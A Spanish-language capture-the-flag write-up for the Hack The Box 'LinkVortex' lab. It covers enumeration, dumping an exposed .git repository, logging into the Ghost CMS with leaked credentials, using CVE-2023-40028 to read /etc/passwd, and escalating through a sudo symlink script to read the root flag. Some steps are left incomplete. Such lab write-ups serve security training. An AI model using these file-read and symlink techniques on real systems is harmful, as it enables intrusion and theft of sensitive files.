Añadimos la IP 10.10.11.47 a nuestro /etc/hosts y accedemos través del navegador.
sudo echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts
Parece un blog sobre componentes de hardware. Solamente vemos 3 páginas a simple vista:
Home: Con enlaces a los posts
About: Texto hablando sobre la empresa
Páginas de post: puro contenido de texto
En el footer nos encontramos "Powered by Ghost" con un link a la siguiente web, lo que nos indica la tecnología sobre la que está construído:
Al parecer no encontramos nada que nos llame la atención, por lo que vamos a ver los puertos que tiene abiertos.
Escaneo de puertos
sudo nmap -v -A -sCV -T5 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Solo encontramos 2 puertos abiertos, el 22 y el 80, los típicos. Por el momento el puerto 80 es nuestro principal vector de entrada.
Enumeración
Al ejecutar whatweb contra la web encontramos un plugin Ghost 5.58 bastante interesante:
afsh4ck@kalki$ whatweb -v http://linkvortex.htb
WhatWeb report for http://linkvortex.htb
Status : 200 OK
Title : BitByBit Hardware
IP : 10.10.11.47
Country : RESERVED, ZZ
Summary : Apache, HTML5, HTTPServer[Apache], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], X-Powered-By[Express], X-UA-Compatible[IE=edge]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : Apache (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Version : 3.5.1
Website : http://jquery.com/
[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.
String : Ghost 5.58
Fuzzing
Haciendo fuzzing con dirsearch no encontramos nada relevante y que podamos acceder:
Bingo! Obtenemos el subdominio dev.linkvortex.htb. Vamos a añadirlo a /etc/hosts y entrar para ver su contenido.
Parece que la web está en construcción y no hay ningún link ni comentario en el código fuente. Vamos a volver a hacer fuzzing contra este subdominio a ver si encontramos algo interesante:
Encontramos un directorio .git interesante, al cual podemos acceder a todos los archivos:
Explotación del directorio .git
Para dumpear el contenido del repositorio .git y extraer información relevante podemos utilizar git-dumper, un script de Python diseñado para reconstruir un repositorio a partir de un directorio .git.
Si accedemos al directorio /ghost llegamos a un panel de login donde podríamos probar a loguearnos:
Probamos las siguientes credenciales y accedemos sin problema:
admin@linkvortex.htb
OctopiFociPilfer45
Tenemos acceso de administrador al CMS. Ahora vamos a buscar la manera de explotar esto.
Explotación
Buscando en internet encontramos un CVE asociado a la versión de Ghost 5.58:
En este script debemos editar la línea donde se referencia al host. El script también indica que ha sido probado contra una imagen de Ghost usando Docker:
#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER
#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'
Lo podemos ejecutar de la siguiente manera para extraer el contenido de cualquier archivo, como el /etc/passwd:
bash CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Solamente encontramos un usuario interesante:
node: Probablemente el usuario bajo el cual se ejecuta la aplicación Ghost, ya que Ghost está desarrollado en Node.js. El usuario node es relevante porque podría tener acceso a los archivos de configuración y credenciales del sistema.
User flag
Volviendo a revisar el dump del repositorio git, nos encontramos el archivo Dockerfile.ghost, que contiene un archivo de configuración interesante: config.production.json:
cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Vamos a utilizar el script de nuevo para leer este archivo de configuración:
Nos conectamos por SSH correctamente con estas credenciales y obtenemos la flag:
ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Dec 10 23:22:14 2024 from 10.10.14.123
bob@linkvortex:~$ ls
user.txt
bob@linkvortex:~$ cat user.txt
ca0b467f296e8811f**************
Escalada de privilegios
Vamos a ver los permisos de ejecución que tenemos en la máquina:
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Vamos a ver el script:
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Este escenario presenta una vulnerabilidad de escalada de privilegios debido al uso de un script que se ejecuta como sudo sin requerir contraseña y que puede ser manipulado. Vamos a desglosar cómo explotar esta configuración para elevar privilegios:
Análisis de la Configuración
Permisos de Ejecución con sudo:
El usuario bob puede ejecutar el script /opt/ghost/clean_symlink.sh con permisos de superusuario (sudo) sin contraseña.
El script acepta un argumento que debe ser un archivo con extensión .png.
Vulnerabilidad en el Script:
La variable CHECK_CONTENT se lee del entorno y se usa sin validación. Si se define como true, el script ejecuta el comando /usr/bin/cat en un archivo específico.
Existe un uso inseguro de $LINK, que se pasa directamente a comandos como /usr/bin/mv y /usr/bin/cat, sin validación adicional.
Punto Crítico:
Puedes controlar la variable de entorno CHECK_CONTENT y proporcionar un enlace simbólico (symlink) malicioso que apunte a un archivo crítico del sistema, como /etc/shadow.
Procedimiento de Explotación
Paso 1: Definir la Variable de Entorno
Antes de ejecutar el script, establece la variable CHECK_CONTENT como true para habilitar la lectura del contenido del archivo objetivo:
export CHECK_CONTENT=true
Paso 2: Crear un Enlace Simbólico
Crea un enlace simbólico que apunte a un archivo crítico, por ejemplo, /etc/shadow:
ln -s /etc/shadow fake.png
Paso 3: Ejecutar el Script
Ejecuta el script con sudo, pasando el enlace simbólico como argumento:
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /etc/shadow fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !
bob@linkvortex:~$ ln -s /root/root.txt fake.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh fake.png
! Trying to read critical files, removing link [ fake.png ] !
El script implementa una comprobación que evita la lectura de archivos críticos (como aquellos en /etc o /root) al detectar patrones específicos en la ruta del enlace simbólico. Esto limita directamente el acceso a archivos sensibles. Sin embargo, el comportamiento del script todavía deja una posible vulnerabilidad que puede ser explotada con un enfoque alternativo.
Paso 1: Crear una Carpeta Temporal
Usa una carpeta temporal para alojar el enlace simbólico que apuntará al archivo crítico.
Tenemos el /etc/shadow, con lo que podemos acceder a cualquier archivo del sistema! En nuestro caso vamos a usarlo para obtener la flag en /root/root.txt
bob@linkvortex:~$ ln -s /root/root.txt pwn.txt
bob@linkvortex:~$ ln -s /home/bob/pwn.txt pwn.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/pwn.png
Link found [ /home/bob/pwn.png ] , moving it to quarantine
Content:
66fff895f2399f********************